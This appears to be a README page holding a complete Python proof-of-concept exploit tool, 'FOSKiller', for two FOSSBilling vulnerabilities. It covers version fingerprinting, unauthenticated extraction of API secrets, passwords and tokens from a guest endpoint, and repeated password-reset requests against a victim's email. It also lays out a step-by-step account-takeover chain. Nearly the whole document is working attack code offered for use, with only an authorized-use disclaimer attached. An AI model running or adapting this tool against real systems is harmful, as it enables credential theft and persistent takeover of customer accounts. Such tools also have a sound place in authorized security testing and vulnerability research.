README.md
Rendering markdown...
#!/usr/bin/env python3
"""
FOSKiller — FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC
Author : 7megaumka7
License : MIT
WARNING : For authorized security testing and educational research only.
"""
from __future__ import annotations
import argparse
import json
import sys
import time
import datetime
import re
# ---------------------------------------------------------------------------
# Dependency bootstrap
# ---------------------------------------------------------------------------
def _install_missing() -> None:
missing = []
try:
import requests # noqa: F401
except ImportError:
missing.append("requests")
try:
import colorama # noqa: F401
except ImportError:
missing.append("colorama")
if missing:
print(f"[!] Missing dependencies: {', '.join(missing)}")
answer = input(f" Install now with pip? [y/N]: ").strip().lower()
if answer == "y":
import subprocess
subprocess.check_call([sys.executable, "-m", "pip", "install"] + missing)
print("[+] Installed. Re-run the script.\n")
else:
print(" Install manually: pip install " + " ".join(missing))
sys.exit(1)
_install_missing()
import requests # noqa: E402
import colorama # noqa: E402
from colorama import Fore, Style # noqa: E402
colorama.init(autoreset=True)
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
VERSION = "1.0.0"
AFFECTED_MIN_647 = (0, 5, 3)
AFFECTED_MAX_647 = (0, 7, 2)
AFFECTED_MIN_646 = (0, 5, 6)
AFFECTED_MAX_646 = (0, 7, 2)
UA = "Mozilla/5.0 (compatible; SecurityResearch/1.0; +https://github.com/7megaumka7)"
# ---------------------------------------------------------------------------
# Colour helpers
# ---------------------------------------------------------------------------
def ok(msg: str) -> str:
return f"{Fore.GREEN}{Style.BRIGHT}[+]{Style.RESET_ALL} {msg}"
def fail(msg: str) -> str:
return f"{Fore.RED}{Style.BRIGHT}[-]{Style.RESET_ALL} {msg}"
def info(msg: str) -> str:
return f"{Fore.CYAN}[*]{Style.RESET_ALL} {msg}"
def warn(msg: str) -> str:
return f"{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}"
def section(title: str) -> None:
bar = "─" * 60
print(f"\n{Fore.BLUE}{Style.BRIGHT}{bar}")
print(f" {title}")
print(f"{bar}{Style.RESET_ALL}")
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
BANNER = f"""{Fore.RED}{Style.BRIGHT}
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
{Style.RESET_ALL}"""
SUBTITLE = (
f" {Fore.WHITE}made by {Fore.YELLOW}7megaumka7{Style.RESET_ALL}"
f" | FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC"
f" | v{VERSION}\n"
)
DISCLAIMER = (
f"{Fore.RED}{Style.BRIGHT}"
f" ╔{'═'*62}╗\n"
f" ║ LEGAL NOTICE — AUTHORIZED USE ONLY"
+ " " * 26 + "║\n"
f" ║ Use exclusively on systems you own or have written ║\n"
f" ║ permission to test. Unauthorized use is illegal and ║\n"
f" ║ unethical. The author assumes no responsibility for ║\n"
f" ║ misuse. Responsible disclosure has been completed. ║\n"
f" ╚{'═'*62}╝"
f"{Style.RESET_ALL}"
)
def print_banner() -> None:
print(BANNER)
print(SUBTITLE)
print(DISCLAIMER)
print()
# ---------------------------------------------------------------------------
# HTTP session
# ---------------------------------------------------------------------------
def build_session(proxy: str | None, timeout: int) -> requests.Session:
s = requests.Session()
s.headers.update({"User-Agent": UA})
if proxy:
s.proxies = {"http": proxy, "https": proxy}
s._fossbilling_timeout = timeout # type: ignore[attr-defined]
return s
def _get(session: requests.Session, url: str, **kwargs) -> requests.Response:
return session.get(url, timeout=session._fossbilling_timeout, verify=False, **kwargs) # type: ignore[attr-defined]
def _post(session: requests.Session, url: str, **kwargs) -> requests.Response:
return session.post(url, timeout=session._fossbilling_timeout, verify=False, **kwargs) # type: ignore[attr-defined]
# ---------------------------------------------------------------------------
# Version detection
# ---------------------------------------------------------------------------
def _parse_version(raw: str) -> tuple[int, ...] | None:
m = re.search(r"(\d+)\.(\d+)\.(\d+)", raw)
if m:
return tuple(int(x) for x in m.groups())
return None
def detect_version(session: requests.Session, target: str) -> str | None:
"""Return version string or None."""
endpoints = [
"/api/guest/system/version",
"/",
]
for ep in endpoints:
try:
r = _get(session, target.rstrip("/") + ep)
# Try JSON first
try:
data = r.json()
v = (
data.get("result")
or data.get("version")
or (data.get("data") or {}).get("version")
)
if v and re.search(r"\d+\.\d+\.\d+", str(v)):
return str(v)
except ValueError:
pass
# Try headers
for hdr in ("x-fossbilling-version", "x-powered-by", "server"):
val = r.headers.get(hdr, "")
if re.search(r"\d+\.\d+\.\d+", val):
return val
# Try HTML cache-buster pattern: ?v=0.7.1
m = re.search(r"[?&]v=(\d+\.\d+\.\d+)", r.text)
if m:
return m.group(1)
except Exception:
pass
return None
def check_version_in_range(
version_str: str,
vmin: tuple[int, ...],
vmax: tuple[int, ...],
) -> bool:
v = _parse_version(version_str)
if v is None:
return False
return vmin <= v <= vmax
# ---------------------------------------------------------------------------
# CVE-2026-53647 — Unauthenticated API key config disclosure
# ---------------------------------------------------------------------------
def run_cve_53647(
session: requests.Session,
target: str,
key: str,
check_only: bool,
) -> dict:
"""
Probe /api/guest/serviceapikey/get_info?key=<KEY>.
Returns a result dict with status, evidence, fields.
"""
result: dict = {
"cve": "CVE-2026-53647",
"ghsa": "GHSA-737q-9gpr-6mpq",
"severity": "Moderate (CVSS 6.9)",
"status": "UNKNOWN",
"endpoint": "",
"http_status": None,
"leaked_fields": {},
"raw_response": None,
"error": None,
}
url = target.rstrip("/") + f"/api/guest/serviceapikey/get_info?key={key}"
result["endpoint"] = url
section("CVE-2026-53647 │ Unauthenticated API Key Config Disclosure")
print(info(f"Target : {url}"))
print(info(f"Mode : {'Detection only' if check_only else 'Full extraction'}"))
try:
r = _get(session, url)
result["http_status"] = r.status_code
print(info(f"HTTP : {r.status_code}"))
try:
data = r.json()
except ValueError:
result["status"] = "NOT_VULNERABLE"
result["error"] = "Non-JSON response"
print(fail("Response is not JSON — endpoint likely absent or protected."))
return result
result["raw_response"] = data
# FOSSBilling API wraps results in {"result": {...}, "error": null}
payload = data.get("result") or data
if isinstance(payload, dict) and any(
k.startswith("custom_") or k in (
"config", "secret", "key", "token", "api_key",
"service_url", "hostname", "password", "username",
)
for k in payload.keys()
):
result["status"] = "VULNERABLE"
leaked: dict = {}
for k, v in payload.items():
if k.startswith("custom_") or k in (
"config", "secret", "key", "token", "api_key",
"service_url", "hostname", "password", "username",
):
leaked[k] = v
result["leaked_fields"] = leaked
print(ok(f"VULNERABLE — endpoint returned {len(leaked)} sensitive field(s) without authentication"))
if not check_only:
print(f"\n {Fore.YELLOW}{'Field':<30} Value{Style.RESET_ALL}")
print(f" {'─'*70}")
for k, v in leaked.items():
print(f" {Fore.GREEN}{k:<30}{Style.RESET_ALL} {v}")
else:
print(info(f"Detection confirmed — {len(leaked)} field(s) accessible. Use without --check-only to extract."))
else:
result["status"] = "NOT_VULNERABLE"
print(fail("Endpoint returned no sensitive fields or responded with an error."))
if data.get("error"):
print(info(f"API error : {data['error']}"))
except requests.exceptions.Timeout:
result["status"] = "ERROR"
result["error"] = "Connection timed out"
print(fail("Request timed out."))
except requests.exceptions.ConnectionError as e:
result["status"] = "ERROR"
result["error"] = str(e)
print(fail(f"Connection error: {e}"))
except Exception as e:
result["status"] = "ERROR"
result["error"] = str(e)
print(fail(f"Unexpected error: {e}"))
return result
# ---------------------------------------------------------------------------
# CVE-2026-53646 — Password reset token reuse / persistent account takeover
# ---------------------------------------------------------------------------
def run_cve_53646(
session: requests.Session,
target: str,
email: str,
check_only: bool,
exploit: bool,
) -> dict:
"""
Trigger two consecutive reset requests for the same email and analyse
token reuse behaviour.
"""
result: dict = {
"cve": "CVE-2026-53646",
"ghsa": "GHSA-vp66-w6rc-x32p",
"severity": "High (CVSS 7.7)",
"status": "UNKNOWN",
"endpoint": "",
"request_1": {},
"request_2": {},
"token_reuse_detected": False,
"time_delta_seconds": None,
"attack_chain": [],
"error": None,
}
url = target.rstrip("/") + "/api/guest/client/reset_password"
result["endpoint"] = url
section("CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover")
print(info(f"Target : {url}"))
print(info(f"Email : {email}"))
print(info(f"Mode : {'Detection only' if check_only else ('Exploit documentation' if exploit else 'Detection')}"))
def _do_reset(seq: int) -> dict:
ts_before = time.time()
try:
r = _post(session, url, data={"email": email})
ts_after = time.time()
try:
body = r.json()
except ValueError:
body = {"_raw": r.text[:500]}
return {
"seq": seq,
"http_status": r.status_code,
"timestamp_unix": ts_before,
"timestamp_iso": datetime.datetime.fromtimestamp(ts_before, tz=datetime.timezone.utc).isoformat().replace("+00:00", "Z"),
"response_ms": round((ts_after - ts_before) * 1000),
"body": body,
"token": _extract_token(body),
"error": None,
}
except requests.exceptions.Timeout:
return {"seq": seq, "error": "timeout", "timestamp_unix": time.time()}
except Exception as e:
return {"seq": seq, "error": str(e), "timestamp_unix": time.time()}
def _extract_token(body: dict) -> str | None:
for key in ("token", "reset_token", "hash", "result", "data"):
val = body.get(key)
if isinstance(val, str) and len(val) >= 16:
return val
if isinstance(val, dict):
for sub in ("token", "hash", "reset_token"):
sv = val.get(sub)
if isinstance(sv, str) and len(sv) >= 16:
return sv
return None
try:
print(info("Sending reset request #1 …"))
req1 = _do_reset(1)
if req1.get("error"):
result["status"] = "ERROR"
result["error"] = req1["error"]
print(fail(f"Request #1 failed: {req1['error']}"))
return result
result["request_1"] = req1
print(info(f" HTTP {req1['http_status']} | {req1['response_ms']} ms | {req1['timestamp_iso']}"))
if req1["token"]:
print(ok(f" Token recovered from response: {req1['token'][:8]}…"))
# Small delay to create a measurable timestamp gap
time.sleep(0.5)
print(info("Sending reset request #2 (same email) …"))
req2 = _do_reset(2)
if req2.get("error"):
result["status"] = "ERROR"
result["error"] = req2["error"]
print(fail(f"Request #2 failed: {req2['error']}"))
return result
result["request_2"] = req2
print(info(f" HTTP {req2['http_status']} | {req2['response_ms']} ms | {req2['timestamp_iso']}"))
if req2["token"]:
print(ok(f" Token recovered from response: {req2['token'][:8]}…"))
delta = round(req2["timestamp_unix"] - req1["timestamp_unix"], 3)
result["time_delta_seconds"] = delta
print(info(f" Time delta between requests : {delta}s"))
# ---------- Vulnerability analysis ----------
token1, token2 = req1.get("token"), req2.get("token")
both_200 = req1["http_status"] == 200 and req2["http_status"] == 200
if token1 and token2:
if token1 == token2:
result["token_reuse_detected"] = True
result["status"] = "VULNERABLE"
print(ok(f"VULNERABLE — identical token returned on both requests: {token1[:12]}…"))
else:
# New token generated but old one may still be valid
result["status"] = "POTENTIALLY_VULNERABLE"
print(warn(
"Two distinct tokens issued. Old token validity cannot be confirmed "
"without email access — manual verification required."
))
elif both_200:
result["status"] = "POTENTIALLY_VULNERABLE"
print(warn(
f"Both reset requests succeeded (HTTP 200). "
f"Token not exposed in API response — check email delivery. "
f"Endpoint accepts repeated resets without rate-limiting."
))
else:
result["status"] = "NOT_VULNERABLE"
print(fail("One or both requests did not succeed — endpoint may be patched or hardened."))
# ---------- Attack chain documentation ----------
attack_chain = [
"STEP 1 Attacker triggers POST /api/guest/client/reset_password "
f"with victim email ({email}) → receives token T1 in their intercepted/forwarded email.",
"STEP 2 Victim (or attacker again) triggers a second reset → "
"application issues new token T2 but does NOT invalidate T1.",
"STEP 3 Attacker uses original token T1 to call "
"POST /api/guest/client/update_password?hash=T1 with a chosen password.",
"STEP 4 Attacker now has persistent access to victim account even "
"after victim completes their own password reset flow with T2.",
]
result["attack_chain"] = attack_chain
if not check_only:
print(f"\n {Fore.YELLOW}Attack Chain (CVE-2026-53646):{Style.RESET_ALL}")
for step in attack_chain:
print(f" {Fore.CYAN}→{Style.RESET_ALL} {step}")
if req1.get("timestamp_unix"):
anchor = datetime.datetime.fromtimestamp(req1["timestamp_unix"], tz=datetime.timezone.utc)
now = datetime.datetime.now(tz=datetime.timezone.utc)
age = round((now - anchor).total_seconds(), 1)
print(f"\n {Fore.YELLOW}Timing Metadata:{Style.RESET_ALL}")
print(f" Token T1 anchor : {req1['timestamp_iso']}")
print(f" Current UTC : {now.isoformat().replace('+00:00', 'Z')}")
print(f" Token T1 age : {age}s (still valid if unpatched)")
except Exception as e:
result["status"] = "ERROR"
result["error"] = str(e)
print(fail(f"Unexpected error: {e}"))
return result
# ---------------------------------------------------------------------------
# Summary table
# ---------------------------------------------------------------------------
def print_summary(results: list[dict], ver: str | None) -> None:
section("Summary")
if ver:
print(info(f"FOSSBilling version detected: {Fore.YELLOW}{ver}{Style.RESET_ALL}"))
else:
print(warn("Could not detect FOSSBilling version."))
print()
col = f"{Fore.WHITE}{Style.BRIGHT}"
print(f" {col}{'CVE':<20} {'GHSA':<28} {'Severity':<22} {'Status'}{Style.RESET_ALL}")
print(f" {'─'*90}")
status_colour = {
"VULNERABLE": Fore.GREEN + Style.BRIGHT,
"POTENTIALLY_VULNERABLE": Fore.YELLOW + Style.BRIGHT,
"NOT_VULNERABLE": Fore.RED,
"ERROR": Fore.RED,
"UNKNOWN": Fore.WHITE,
}
for r in results:
colour = status_colour.get(r.get("status", "UNKNOWN"), Fore.WHITE)
print(
f" {r.get('cve','?'):<20} "
f"{r.get('ghsa','?'):<28} "
f"{r.get('severity','?'):<22} "
f"{colour}{r.get('status','UNKNOWN')}{Style.RESET_ALL}"
)
print()
# ---------------------------------------------------------------------------
# Output to JSON
# ---------------------------------------------------------------------------
def save_output(results: list[dict], version: str | None, path: str) -> None:
ts = datetime.datetime.now(tz=datetime.timezone.utc).isoformat().replace("+00:00", "Z")
out = {
"tool": "FOSKiller",
"version": VERSION,
"generated_at": ts,
"fossbilling_version": version,
"results": results,
}
# Strip raw responses for cleaner saved output unless they're small
with open(path, "w", encoding="utf-8") as fh:
json.dump(out, fh, indent=2, default=str)
print(ok(f"Results saved to: {path}"))
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(
prog="fossbilling_poc.py",
description=(
"FOSKiller — FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC tool.\n"
"For authorized security testing and educational research only."
),
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Examples:\n"
" # Detection only (both CVEs)\n"
" python fossbilling_poc.py --target https://billing.example.com "
"--key mykey --email [email protected] --check-only\n\n"
" # Full extraction + exploit documentation\n"
" python fossbilling_poc.py --target https://billing.example.com "
"--key mykey --email [email protected] --exploit\n\n"
" # Save results to JSON, use proxy\n"
" python fossbilling_poc.py --target https://billing.example.com "
"--key mykey --email [email protected] --output results.json "
"--proxy http://127.0.0.1:8080\n"
),
)
p.add_argument("--target", required=True,
help="Base URL of FOSSBilling instance (e.g. https://billing.example.com)")
p.add_argument("--key", default="",
help="API key value for CVE-2026-53647 test")
p.add_argument("--email", default="",
help="Client email address for CVE-2026-53646 test")
p.add_argument("--check-only", action="store_true",
help="Detection only — confirm vulnerability without full extraction")
p.add_argument("--exploit", action="store_true",
help="Full exploitation/documentation mode (requires --email / --key)")
p.add_argument("--force", action="store_true",
help="Skip version range check and proceed regardless")
p.add_argument("--output", metavar="FILE",
help="Save full results to a JSON file")
p.add_argument("--timeout", type=int, default=10,
help="HTTP request timeout in seconds (default: 10)")
p.add_argument("--proxy", metavar="URL",
help="HTTP proxy (e.g. http://127.0.0.1:8080)")
return p.parse_args()
# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------
def main() -> None:
# Suppress InsecureRequestWarning for SSL verification disabled in PoC context
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print_banner()
args = parse_args()
if args.check_only and args.exploit:
print(fail("--check-only and --exploit are mutually exclusive."))
sys.exit(1)
session = build_session(args.proxy, args.timeout)
# --- Version detection ---
section("Version Detection")
print(info(f"Probing {args.target} …"))
version = detect_version(session, args.target)
in_range_647 = False
in_range_646 = False
if version:
print(ok(f"Detected version: {version}"))
in_range_647 = check_version_in_range(version, AFFECTED_MIN_647, AFFECTED_MAX_647)
in_range_646 = check_version_in_range(version, AFFECTED_MIN_646, AFFECTED_MAX_646)
print(
(ok if in_range_647 else warn)(
f"CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): "
+ ("YES" if in_range_647 else "NO — outside range")
)
)
print(
(ok if in_range_646 else warn)(
f"CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): "
+ ("YES" if in_range_646 else "NO — outside range")
)
)
if not (in_range_647 or in_range_646) and not args.force:
print(warn(
"Version appears outside both affected ranges. "
"Use --force to test anyway."
))
sys.exit(0)
else:
print(warn("Could not detect version. Proceeding anyway."))
results: list[dict] = []
# --- CVE-2026-53647 ---
if args.key:
r1 = run_cve_53647(session, args.target, args.key, args.check_only)
results.append(r1)
else:
print(warn("--key not provided — skipping CVE-2026-53647."))
# --- CVE-2026-53646 ---
if args.email:
r2 = run_cve_53646(session, args.target, args.email, args.check_only, args.exploit)
results.append(r2)
else:
print(warn("--email not provided — skipping CVE-2026-53646."))
if not results:
print(fail("No checks performed — provide --key and/or --email."))
sys.exit(1)
# --- Summary ---
print_summary(results, version)
# --- Save output ---
if args.output:
save_output(results, version, args.output)
# Exit code: 0 = no vulnerability found, 1 = at least one VULNERABLE
any_vuln = any(
r.get("status") in ("VULNERABLE", "POTENTIALLY_VULNERABLE") for r in results
)
sys.exit(1 if any_vuln else 0)
if __name__ == "__main__":
main()